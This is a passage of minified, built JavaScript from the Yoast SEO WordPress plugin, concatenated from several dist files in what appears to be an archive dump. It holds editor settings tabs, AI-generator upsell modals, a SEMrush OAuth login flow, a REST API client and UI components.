videoFoam=true`}))))};ws.propTypes={videoId:Ot().string.isRequired,thumbnail:Ot().shape({src:Ot().string.isRequired,width:Ot().string,height:Ot().string}).isRequired,wistiaEmbedPermission:Ot().shape({value:Ot().bool.isRequired,status:Ot().string.isRequired,set:Ot().func.isRequired}).isRequired};const fs="yoast-seo/editor",bs=()=>{const e=(0,l.useSelect)((e=>e(fs).selectLink("https://yoa.st/ai-generator-learn-more")),[]),t=(0,l.useSelect)((e=>e(fs).selectLink("https://yoa.st/ai-generator-upsell")),[]),s=(0,l.useSelect)((e=>e(fs).selectLink("https://yoa.st/ai-generator-upsell-woo-seo-premium-bundle")),[]),n=(0,l.useSelect)((e=>e(fs).selectLink("https://yoa.st/ai-generator-upsell-woo-seo")),[]),i=(0,l.useSelect)((e=>e(fs).getIsPremium()),[]),o=(0,l.useSelect)((e=>e(fs).getIsWooSeoActive()),[]),a=(0,l.useSelect)((e=>e(fs).getIsWooCommerceActive()),[]),c=(0,l.useSelect)((e=>e(fs).getIsProduct()),[]),d=(0,l.useSelect)((e=>e(fs).getIsProductTerm()),[]),p={upsellLink:t};if(a&&c&&(p.title=(0,r.__)("Generate product titles & descriptions with AI!","wordpress-seo"),p.isProductCopy=!0),a&&(c||d)){const e=(0,r.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to Yoast WooCommerce SEO. */
(0,r.__)("%1$s + %2$s","wordpress-seo"),"Yoast SEO Premium","Yoast WooCommerce SEO");p.newToText=(0,r.sprintf)(/* translators: %1$s expands to Yoast SEO Premium and Yoast WooCommerce SEO. */
(0,r.__)("New in %1$s","wordpress-seo"),e),i?(p.upsellLabel=(0,r.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,r.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO"),p.upsellLink=n):o||(p.upsellLabel=`${(0,r.sprintf)(/* translators: %1$s expands to Woo Premium bundle. */
(0,r.__)("Unlock with the %1$s","wordpress-seo"),"Woo Premium bundle")}*`,p.bundleNote=(0,vt.createElement)("div",{className:"yst-text-xs yst-text-slate-500 yst-mt-2"},`*${e}`),p.upsellLink=s)}const u=(0,l.useSelect)((e=>e(fs).selectImageLink("ai-generator-preview.png")),[]),m=(0,St.useMemo)((()=>({src:u,width:"432",height:"244"})),[u]),h=(0,l.useSelect)((e=>e(fs).selectWistiaEmbedPermissionValue()),[]),g=(0,l.useSelect)((e=>e(fs).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:y}=(0,l.useDispatch)(fs),w=(0,St.useMemo)((()=>({value:h,status:g,set:y})),[h,g,y]);return(0,vt.createElement)(Tt,{learnMoreLink:e,thumbnail:m,wistiaEmbedPermission:w,...p})},_s=({fieldId:e})=>{const[t,,,s,n]=(0,xt.useToggleState)(!1),i=(0,St.useCallback)((()=>{s()}),[s]),o=(0,St.useRef)(null);return(0,vt.createElement)(vt.Fragment,null,(0,vt.createElement)("button",{type:"button",id:`yst-replacevar__use-ai-button__${e}`,className:"yst-replacevar__use-ai-button-upsell",onClick:i},(0,r.__)("Use AI","wordpress-seo")),(0,vt.createElement)(xt.Modal,{className:"yst-introduction-modal",isOpen:t,onClose:n,initialFocus:o},(0,vt.createElement)(xt.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl"},(0,vt.createElement)(bs,{onClose:n,focusElementRef:o}))))};_s.propTypes={fieldId:Ot().string.isRequired};const Es="yoast-seo/editor";n()((()=>{window.wpseoTermScraperL10n=window.wpseoScriptData.metabox,function(e){function t(){e("#copy-home-meta-description").on("click",(function(){e("#open_graph_frontpage_desc").val(e("#meta_description").val())}))}function s(){var t=e("#wpseo-conf");if(t.length){var s=t.attr("action").split("#")[0];t.attr("action",s+window.location.hash)}}function n(){var t=window.location.hash.replace("#top#","");-1!==t.search("#top")&&(t=window.location.hash.replace("#top%23","")),""!==t&&"#"!==t.charAt(0)||(t=e(".wpseotab").attr("id")),e("#"+t).addClass("active"),e("#"+t+"-tab").addClass("nav-tab-active").trigger("click")}function i(t){const s=e("#noindex-author-noposts-wpseo-container");t?s.show():s.hide()}e.fn._wpseoIsInViewport=function(){const t=e(this).offset().top,s=t+e(this).outerHeight(),n=e(window).scrollTop(),i=n+e(window).height();return t>n&&s<i},e(window).on("hashchange",(function(){n(),s()})),window.setWPOption=function(t,s,n,i){e.post(ajaxurl,{action:"wpseo_set_option",option:t,newval:s,_wpnonce:i},(function(t){t&&e("#"+n).hide()}))},window.wpseoCopyHomeMeta=t,window.wpseoSetTabHash=s,e(document).ready((function(){s(),"function"==typeof window.wpseoRedirectOldFeaturesTabToNewSettings&&window.wpseoRedirectOldFeaturesTabToNewSettings(),e("#disable-author input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#author-archives-titles-metas-content").toggle("off"===e(this).val())})).trigger("change");const o=e("#noindex-author-wpseo-off"),l=e("#noindex-author-wpseo-on");o.is(":checked")||i(!1),l.on("change",(()=>{e(this).is(":checked")||i(!1)})),o.on("change",(()=>{e(this).is(":checked")||i(!0)})),e("#disable-date input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#date-archives-titles-metas-content").toggle("off"===e(this).val())})).trigger("change"),e("#disable-attachment input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#media_settings").toggle("off"===e(this).val())})).trigger("change"),e("#disable-post_format").on("change",(function(){e("#post_format-titles-metas").toggle(e(this).is(":not(:checked)"))})).trigger("change"),e("#wpseo-tabs").find("a").on("click",(function(t){var s,n,i,o=!0;if(s=e(this),n=!!e("#first-time-configuration-tab").filter(".nav-tab-active").length,i=!!s.filter("#first-time-configuration-tab").length,n&&!i&&window.isStepBeingEdited&&(o=confirm((0,r.__)("There are unsaved changes in one or more steps. Leaving means that those changes may not be saved. Are you sure you want to leave?","wordpress-seo"))),o){window.isStepBeingEdited=!1,e("#wpseo-tabs").find("a").removeClass("nav-tab-active"),e(".wpseotab").removeClass("active");var a=e(this).attr("id").replace("-tab",""),l=e("#"+a);l.addClass("active"),e(this).addClass("nav-tab-active"),l.hasClass("nosave")?e("#wpseo-submit-container").hide():e("#wpseo-submit-container").show(),e(window).trigger("yoast-seo-tab-change"),"first-time-configuration"===a?(e(".notice-yoast").slideUp(),e(".yoast_premium_upsell").slideUp(),e("#sidebar-container").hide()):(e(".notice-yoast").slideDown(),e(".yoast_premium_upsell").slideDown(),e("#sidebar-container").show())}else t.preventDefault(),e("#first-time-configuration-tab").trigger("focus")})),e("#yoast-first-time-configuration-notice a").on("click",(function(){e("#first-time-configuration-tab").click()})),e("#company_or_person").on("change",(function(){var t=e(this).val();"company"===t?(e("#knowledge-graph-company").show(),e("#knowledge-graph-person").hide()):"person"===t?(e("#knowledge-graph-company").hide(),e("#knowledge-graph-person").show()):(e("#knowledge-graph-company").hide(),e("#knowledge-graph-person").hide())})).trigger("change"),e(".switch-yoast-seo input").on("keydown",(function(e){"keydown"===e.type&&13===e.which&&e.preventDefault()})),e("body").on("click","button.toggleable-container-trigger",(t=>{const s=e(t.currentTarget),n=s.parent().siblings(".toggleable-container");n.toggleClass("toggleable-container-hidden"),s.attr("aria-expanded",!n.hasClass("toggleable-container-hidden")).find("span").toggleClass("dashicons-arrow-up-alt2 dashicons-arrow-down-alt2")}));const c=e("#opengraph"),d=e("#wpseo-opengraph-settings");c.length&&d.length&&(d.toggle(c[0].checked),c.on("change",(e=>{d.toggle(e.target.checked)}))),t(),n(),function(){if(!e("#enable_xml_sitemap input[type=radio]").length)return;const t=e("#yoast-seo-sitemaps-disabled-warning");e("#enable_xml_sitemap input[type=radio]").on("change",(function(){"off"===this.value?t.show():t.hide()}))}(),function(){const t=e("#wpseo-submit-container-float"),s=e("#wpseo-submit-container-fixed");if(!t.length||!s.length)return;function n(){t._wpseoIsInViewport()?s.hide():s.show()}e(window).on("resize scroll",(0,a.debounce)(n,100)),e(window).on("yoast-seo-tab-change",n);const i=e(".wpseo-message");i.length&&window.setTimeout((()=>{i.fadeOut()}),5e3),n()}()}))}(o()),function(e){function t(e){e&&(e.focus(),e.click())}function s(){if(e(".wpseo-meta-section").length>0){const t=e(".wpseo-meta-section-link");e(".wpseo-metabox-menu li").filter((function(){return"#wpseo-meta-section-content"===e(this).find(".wpseo-meta-section-link").attr("href")})).addClass("active").find("[role='tab']").addClass("yoast-active-tab"),e("#wpseo-meta-section-content, .wpseo-meta-section-react").addClass("active"),t.on("click",(function(s){var n=e(this).attr("id"),i=e(this).attr("href"),o=e(i);s.preventDefault(),e(".wpseo-metabox-menu li").removeClass("active").find("[role='tab']").removeClass("yoast-active-tab"),e(".wpseo-meta-section").removeClass("active"),e(".wpseo-meta-section-react.active").removeClass("active"),"#wpseo-meta-section-content"===i&&e(".wpseo-meta-section-react").addClass("active"),o.addClass("active"),e(this).parent("li").addClass("active").find("[role='tab']").addClass("yoast-active-tab");const a=function(e,t={}){return new CustomEvent("YoastSEO:metaTabChange",{detail:t})}(0,{metaTabId:n});window.dispatchEvent(a),this&&(t.attr({"aria-selected":"false",tabIndex:"-1"}),this.removeAttribute("tabindex"),this.setAttribute("aria-selected","true"))}))}}window.wpseoInitTabs=s,window.wpseo_init_tabs=s,e(".wpseo-meta-section").each((function(t,s){e(s).find(".wpseotab:first").addClass("active")})),window.wpseo_init_tabs(),function(){const s=e(".yoast-aria-tabs"),n=s.find("[role='tab']"),i=s.attr("aria-orientation")||"horizontal";n.attr({"aria-selected":!1,tabIndex:"-1"}),n.filter(".yoast-active-tab").removeAttr("tabindex").attr("aria-selected","true"),n.on("keydown",(function(s){-1!==[32,35,36,37,38,39,40].indexOf(s.which)&&("horizontal"===i&&-1!==[38,40].indexOf(s.which)||"vertical"===i&&-1!==[37,39].indexOf(s.which)||function(s,n){const i=s.which,o=n.index(e(s.target));switch(i){case 32:s.preventDefault(),t(n[o]);break;case 35:s.preventDefault(),t(n[n.length-1]);break;case 36:s.preventDefault(),t(n[0]);break;case 37:case 38:s.preventDefault(),t(n[o-1<0?n.length-1:o-1]);break;case 39:case 40:s.preventDefault(),t(n[o+1===n.length?0:o+1])}}(s,n))}))}()}(o());const e=function(){const e=(0,l.registerStore)("yoast-seo/editor",{reducer:(0,l.combineReducers)(c.reducers),selectors:c.selectors,actions:(0,a.pickBy)(c.actions,(e=>"function"==typeof e)),controls:t});return(e=>{e.dispatch(c.actions.setSettings({socialPreviews:{sitewideImage:window.wpseoScriptData.sitewideSocialImage,siteName:window.wpseoScriptData.metabox.site_name,contentImage:window.wpseoScriptData.metabox.first_content_image,twitterCardType:window.wpseoScriptData.metabox.twitterCardType},snippetEditor:{baseUrl:window.wpseoScriptData.metabox.base_url,date:window.wpseoScriptData.metabox.metaDescriptionDate,recommendedReplacementVariables:window.wpseoScriptData.analysis.plugins.replaceVars.recommended_replace_vars,siteIconUrl:window.wpseoScriptData.metabox.siteIconUrl}})),e.dispatch(c.actions.setSEMrushChangeCountry(window.wpseoScriptData.metabox.countryCode)),e.dispatch(c.actions.setSEMrushLoginStatus(window.wpseoScriptData.metabox.SEMrushLoginStatus)),e.dispatch(c.actions.setWincherLoginStatus(window.wpseoScriptData.metabox.wincherLoginStatus,!1)),e.dispatch(c.actions.setWincherWebsiteId(window.wpseoScriptData.metabox.wincherWebsiteId)),e.dispatch(c.actions.setWincherAutomaticKeyphaseTracking(window.wpseoScriptData.metabox.wincherAutoAddKeyphrases)),e.dispatch(c.actions.setDismissedAlerts((0,a.get)(window,"wpseoScriptData.dismissedAlerts",{}))),e.dispatch(c.actions.setCurrentPromotions((0,a.get)(window,"wpseoScriptData.currentPromotions",[]))),e.dispatch(c.actions.setIsPremium(Boolean((0,a.get)(window,"wpseoScriptData.metabox.isPremium",!1)))),e.dispatch(c.actions.setPostId(Number((0,a.get)(window,"wpseoScriptData.postId",null)))),e.dispatch(c.actions.setAdminUrl((0,a.get)(window,"wpseoScriptData.adminUrl",""))),e.dispatch(c.actions.setLinkParams((0,a.get)(window,"wpseoScriptData.linkParams",{}))),e.dispatch(c.actions.setPluginUrl((0,a.get)(window,"wpseoScriptData.pluginUrl",""))),e.dispatch(c.actions.setWistiaEmbedPermissionValue("1"===(0,a.get)(window,"wpseoScriptData.wistiaEmbedPermission",!1)))})(e),e}();window.yoast.initEditorIntegration(e);const s=new window.yoast.EditorData(a.noop,e,W);s.initialize(window.wpseoScriptData.analysis.plugins.replaceVars.replace_vars),yt(o(),e,s),(()=>{if((0,l.select)("yoast-seo/editor").getPreference("isInsightsEnabled",!1))(0,l.dispatch)("yoast-seo/editor").loadEstimatedReadingTime(),(0,l.subscribe)((0,a.debounce)(Et(),1500,{maxWait:3e3}))})(),(()=>{const e=(0,l.select)(Es).getIsPremium(),t=(0,l.select)(Es).getIsWooSeoUpsell(),s=(0,l.select)(Es).getIsWooSeoUpsellTerm(),n=!e||t||s;(0,me.addFilter)("yoast.replacementVariableEditor.additionalButtons","yoast/yoast-seo-premium/AiGenerator",((e,{fieldId:t})=>(n&&e.push((0,vt.createElement)(kt.Fill,{name:`yoast.replacementVariableEditor.additionalButtons.${t}`},(0,vt.createElement)(_s,{fieldId:t}))),e)))})()}))})();wordpress-seo/js/dist/reindex-links.js000064400000005343147510273070014064 0ustar00(()=>{var e={2322:e=>{var t,n,o="",r=function(e){e=e||"polite";var t=document.createElement("div");return t.id="a11y-speak-"+e,t.className="a11y-speak-region",t.setAttribute("style","clip: rect(1px, 1px, 1px, 1px); position: absolute; height: 1px; width: 1px; overflow: hidden; word-wrap: normal;"),t.setAttribute("aria-live",e),t.setAttribute("aria-relevant","additions text"),t.setAttribute("aria-atomic","true"),document.querySelector("body").appendChild(t),t};!function(e){if("complete"===document.readyState||"loading"!==document.readyState&&!document.documentElement.doScroll)return e();document.addEventListener("DOMContentLoaded",e)}((function(){t=document.getElementById("a11y-speak-polite"),n=document.getElementById("a11y-speak-assertive"),null===t&&(t=r("polite")),null===n&&(n=r("assertive"))})),e.exports=function(e,r){!function(){for(var e=document.querySelectorAll(".a11y-speak-region"),t=0;t<e.length;t++)e[t].textContent=""}(),e=e.replace(/<[^<>]+>/g," "),o===e&&(e+=" "),o=e,n&&"assertive"===r?n.textContent=e:t&&(t.textContent=e)}}},t={};function n(o){var r=t[o];if(void 0!==r)return r.exports;var s=t[o]={exports:{}};return e[o](s,s.exports,n),s.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";const e=window.jQuery;var t=n.n(e),o=n(2322),r=n.n(o);const s=yoastReindexLinksData.data;let a=!1;class i{constructor(e){this.element=t()("#wpseo_count_index_links"),this.progressbarTarget=t()("#wpseo_index_links_progressbar").progressbar({value:0}),this.total=parseInt(e,10),this.totalProcessed=0}update(e){this.totalProcessed+=e;const t=this.totalProcessed*(100/this.total);this.progressbarTarget.progressbar("value",Math.round(t)),this.element.html(this.totalProcessed)}complete(){this.progressbarTarget.progressbar("value",100)}}function l(e,n){t().ajax({type:"GET",url:s.restApi.root+s.restApi.endpoint,beforeSend:e=>{e.setRequestHeader("X-WP-Nonce",s.restApi.nonce)},success:t=>{const o=parseInt(t,10);if(0!==o)return e.update(o),void l(e,n);e.complete(),n()}})}function c(){return new Promise((e=>{l(new i(s.amount),e)}))}function d(){a=!0,r()(s.l10n.calculationCompleted),t()("#reindexLinks").html(s.message.indexingCompleted),tb_remove()}function u(){t()("#general-tab").trigger("click"),!1===a&&t()("#openLinkIndexing").trigger("click")}t()((function(){let e=!1;t()(".yoast-js-calculate-index-links--all ").on("click",(function(){!1===e&&(function(){r()(s.l10n.calculationInProgress);const e=[];e.push(c()),Promise.all(e).then(d)}(),e=!0)})),t()("#noticeRunLinkIndex").on("click",u),-1!==window.location.href.indexOf("&reIndexLinks=1")&&t()(u)}))})()})();wordpress-seo/js/dist/frontend-inspector-resources.js000064400000007507147510273070017147 0ustar00(()=>{"use strict";const e=window.React;var o,r;function s(){return s=Object.assign?Object.assign.bind():function(e){for(var o=1;o<arguments.length;o++){var r=arguments[o];for(var s in r)Object.prototype.hasOwnProperty.call(r,s)&&(e[s]=r[s])}return e},s.apply(this,arguments)}const n=window.wp.i18n,a=window.yoast.analysis,t=window.lodash,c=window.yoast.componentsNew,i=window.yoast.styleGuide;function l(e){switch(e){case"loading":return{icon:"loading-spinner",color:i.colors.$color_green_medium_light};case"not-set":return{icon:"seo-score-none",color:i.colors.$color_score_icon};case"noindex":return{icon:"seo-score-none",color:i.colors.$color_noindex};case"good":return{icon:"seo-score-good",color:i.colors.$color_green_medium};case"ok":return{icon:"seo-score-ok",color:i.colors.$color_ok};default:return{icon:"seo-score-bad",color:i.colors.$color_red}}}const d=window.yoast.propTypes;function u({score:o,label:r,scoreValue:s}){return(0,e.createElement)("div",{className:"yoast-analysis-check"},(0,e.createElement)(c.SvgIcon,{...l(o)}),(0,e.createElement)("span",null," ",r," ",s&&(0,e.createElement)("strong",null,s)))}u.propTypes={score:d.string.isRequired,label:d.string.isRequired,scoreValue:d.string},u.defaultProps={scoreValue:""},window.yoast=window.yoast||{},window.yoast.frontendInspector={getIndicatorForScore:function(e){return(0,t.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,n.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,n.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,n.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,n.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,n.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,n.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,n.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,n.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,n.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,n.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,n.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,n.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(a.interpreters.scoreToRating(e))},AnalysisCheck:u,YoastIcon:n=>e.createElement("svg",s({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},n),o||(o=e.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),r||(r=e.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"})))}})();wordpress-seo/js/dist/api-client.js000064400000001103147510273070013323 0ustar00!function(t,e){window.wpseoApi={get:function(t,e,n,o){this.request("GET",t,e,n,o)},post:function(t,e,n,o){this.request("POST",t,e,n,o)},put:function(t,e,n,o){this.request("PUT",t,e,n,o)},patch:function(t,e,n,o){this.request("PATCH",t,e,n,o)},delete:function(t,e,n,o){this.request("DELETE",t,e,n,o)},request:function(n,o,i,u,s){"function"==typeof i&&void 0===s&&(s=u,u=i,i={}),"POST"!==n&&"GET"!==n&&(i._method=n,n="POST"),t.ajax({url:e.root+"yoast/v1/"+o,method:n,beforeSend:function(t){t.setRequestHeader("X-WP-Nonce",e.nonce)},data:i}).done(u).fail(s)}}}(jQuery,wpApiSettings);wordpress-seo/js/dist/externals-components.js000064400000225317147510273070015505 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var r in s)e.o(s,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:s[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.wp.i18n,r=window.wp.components,o=window.yoast.componentsNew,n=window.yoast.helpers,a=window.yoast.propTypes;var i=e.n(a);const l=window.wp.element,c=window.yoast.styledComponents;var d=e.n(c);const p=d().div`
	display: flex;
	margin-top: 8px;
`;class u extends l.Component{render(){return(0,t.createElement)(p,null,(0,t.createElement)(o.Toggle,{id:this.props.id,labelText:(0,s.__)("Mark as cornerstone content","wordpress-seo"),isEnabled:this.props.isEnabled,onSetToggleState:this.props.onToggle,onToggleDisabled:this.props.onToggleDisabled}))}}u.propTypes={id:i().string,isEnabled:i().bool,onToggle:i().func,onToggleDisabled:i().func},u.defaultProps={id:"cornerstone-toggle",isEnabled:!0,onToggle:()=>{},onToggleDisabled:()=>{}};const m=u,h=d()(o.Collapsible)`
	h2 > button {
		padding-left: 24px;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,y=e=>(0,t.createElement)(h,{hasPadding:!0,hasSeparator:!0,...e}),g=e=>{const[s,r]=(0,l.useState)(!1),{prefixIcon:n}=e;return(0,t.createElement)("div",{className:"yoast components-panel__body "+(s?"is-opened":"")},(0,t.createElement)("h2",{className:"components-panel__body-title"},(0,t.createElement)("button",{onClick:function(){r(!s)},className:"components-button components-panel__body-toggle",type:"button",id:e.buttonId},(0,t.createElement)("span",{className:"yoast-icon-span",style:{fill:`${n&&n.color||""}`}},n&&(0,t.createElement)(o.SvgIcon,{icon:n.icon,color:n.color,size:n.size})),(0,t.createElement)("span",{className:"yoast-title-container"},(0,t.createElement)("div",{className:"yoast-title"},e.title),(0,t.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.hasBetaBadgeLabel&&(0,t.createElement)(o.BetaBadge,null),(0,t.createElement)("span",{className:"yoast-chevron","aria-hidden":"true"}))),s&&e.children)},w=g;g.propTypes={title:i().string.isRequired,children:i().oneOfType([i().node,i().arrayOf(i().node)]).isRequired,prefixIcon:i().object,subTitle:i().string,hasBetaBadgeLabel:i().bool,buttonId:i().string},g.defaultProps={prefixIcon:null,subTitle:"",hasBetaBadgeLabel:!1,buttonId:null};const b=(0,n.makeOutboundLink)();function f({isCornerstone:e,onChange:a,learnMoreUrl:i,location:l}){const c="metabox"===l?y:w;return(0,t.createElement)(c,{id:(0,n.join)(["yoast-cornerstone-collapsible",l]),title:(0,s.__)("Cornerstone content","wordpress-seo")},(0,t.createElement)(o.HelpText,null,(0,s.__)("Cornerstone content should be the most important and extensive articles on your site.","wordpress-seo")+" ",(0,t.createElement)(b,{href:i},(0,s.__)("Learn more about Cornerstone Content.","wordpress-seo"))),(0,t.createElement)(m,{id:(0,n.join)(["yoast-cornerstone",l]),isEnabled:e,onToggle:a}),(0,t.createElement)(r.Slot,{name:"YoastAfterCornerstoneToggle"}))}f.propTypes={isCornerstone:i().bool,onChange:i().func,learnMoreUrl:i().string.isRequired,location:i().string},f.defaultProps={isCornerstone:!0,onChange:()=>{},location:""};const E=window.wp.compose,k=window.wp.data,x=window.yoast.externals.contexts,_=window.wp.url,v=window.wp.apiFetch;var R=e.n(v);const N=window.yoast.relatedKeyphraseSuggestions;class B extends l.Component{constructor(e){super(e),this.onModalOpen=this.onModalOpen.bind(this),this.onLinkClick=this.onLinkClick.bind(this),this.listenToMessages=this.listenToMessages.bind(this)}onModalOpen(){this.props.keyphrase.trim()?this.props.onOpen(this.props.location):this.props.onOpenWithNoKeyphrase()}onLinkClick(e){if(e.preventDefault(),!this.props.keyphrase.trim())return void this.props.onOpenWithNoKeyphrase();const t=e.target.href,s=["top="+(window.top.outerHeight/2+window.top.screenY-285),"left="+(window.top.outerWidth/2+window.top.screenX-170),"width=340","height=570","resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(t,"SEMrush_login",s.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.listenToMessages,!1)}async listenToMessages(e){const{data:t,source:s,origin:r}=e;"https://oauth.semrush.com"===r&&this.popup===s&&("semrush:oauth:success"===t.type&&(this.popup.close(),window.removeEventListener("message",this.listenToMessages,!1),await this.performAuthenticationRequest(t)),"semrush:oauth:denied"===t.type&&(this.popup.close(),window.removeEventListener("message",this.listenToMessages,!1),this.props.onAuthentication(!1)))}async performAuthenticationRequest(e){try{const t=new URL(e.url).searchParams.get("code"),s=await R()({path:"yoast/v1/semrush/authenticate",method:"POST",data:{code:t}});200===s.status?(this.props.onAuthentication(!0),this.onModalOpen(),this.popup.close()):console.error(s.error)}catch(e){console.error(e.message)}}render(){const{keyphrase:e,location:n,whichModalOpen:a,isLoggedIn:i,onClose:c,countryCode:d,learnMoreLink:p}=this.props,u=new URL("https://www.semrush.com/analytics/keywordoverview/");return u.searchParams.append("q",e),u.searchParams.append("db",d),(0,t.createElement)(l.Fragment,null,i&&(0,t.createElement)("div",{className:"yoast"},(0,t.createElement)(o.NewButton,{variant:"secondary",id:`yoast-get-related-keyphrases-${n}`,onClick:this.onModalOpen},(0,s.__)("Get related keyphrases","wordpress-seo"))),(0,t.createElement)(N.Modal,{isOpen:Boolean(e)&&a===n,onClose:c,insightsLink:u.toString(),learnMoreLink:p},(0,t.createElement)(r.Slot,{name:"YoastRelatedKeyphrases"})),!i&&(0,t.createElement)("div",{className:"yoast"},(0,t.createElement)(o.ButtonStyledLink,{variant:"secondary",id:`yoast-get-related-keyphrases-${n}`,href:"https://oauth.semrush.com/oauth2/authorize?ref=1513012826&client_id=yoast&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Fyoast%2Fsuccess&response_type=code&scope=user.id",onClick:this.onLinkClick},(0,s.__)("Get related keyphrases","wordpress-seo"),(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,s.__)("(Opens in a new browser tab)","wordpress-seo")))))}}B.propTypes={keyphrase:i().string,location:i().string,whichModalOpen:i().oneOf(["none","metabox","sidebar"]),isLoggedIn:i().bool,onOpen:i().func.isRequired,onOpenWithNoKeyphrase:i().func.isRequired,onClose:i().func.isRequired,onAuthentication:i().func.isRequired,countryCode:i().string,learnMoreLink:i().string},B.defaultProps={keyphrase:"",location:"",whichModalOpen:"none",isLoggedIn:!1,countryCode:"en_US",learnMoreLink:""};const S=B,L=(0,E.compose)([(0,k.withSelect)((e=>{const{getSEMrushModalOpen:t,getSEMrushLoginStatus:s,getSEMrushSelectedCountry:r,getPreference:o,selectLinkParams:n}=e("yoast-seo/editor");return{whichModalOpen:t(),isLoggedIn:s(),countryCode:r(),isRtl:o("isRtl",!1),learnMoreLink:(0,_.addQueryArgs)("https://yoa.st/3-v",n())}})),(0,k.withDispatch)((e=>{const{setSEMrushNoKeyphraseMessage:t,setSEMrushOpenModal:s,setSEMrushDismissModal:r,setSEMrushLoginStatus:o}=e("yoast-seo/editor");return{onOpenWithNoKeyphrase:()=>{t()},onOpen:e=>{s(e)},onClose:()=>{r()},onAuthentication:e=>{o(e)}}}))])(S),C=window.yoast.styleGuide,P=(0,n.makeOutboundLink)(d().a`
	display: inline-block;
	position: relative;
	outline: none;
	text-decoration: none;
	border-radius: 100%;
	width: 24px;
	height: 24px;
	margin: -4px 0;
	vertical-align: middle;

	color: ${C.colors.$color_help_text};
	
	&:hover,
	&:focus {
		color: ${C.colors.$color_snippet_focus};	
	}
	
	// Overwrite the default blue active color for links.
	&:active {
		color: ${C.colors.$color_help_text};	
	}

	&::before {
		position: absolute;
		top: 0;
		left: 0;
		padding: 2px;
		content: "\f223";
	}
`),A=window.lodash,I=C.colors.$color_bad,M=C.colors.$palette_error_background,O=C.colors.$color_grey_text_light,T=C.colors.$palette_error_text,F=d().div`
	display: flex;
	flex-direction: column;
`,$=d().label`
	font-size: var(--yoast-font-size-default);
	font-weight: var(--yoast-font-weight-bold);
	${(0,n.getDirectionalStyle)("margin-right: 4px","margin-left: 4px")};
`,q=d().span`
	margin-bottom: 0.5em;
`,U=d()(o.InputField)`
	flex: 1 !important;
	box-sizing: border-box;
	max-width: 100%;
	margin: 0; // Reset margins inherited from WordPress.

	// Hide native X in Edge and IE11.
	&::-ms-clear {
		display: none;
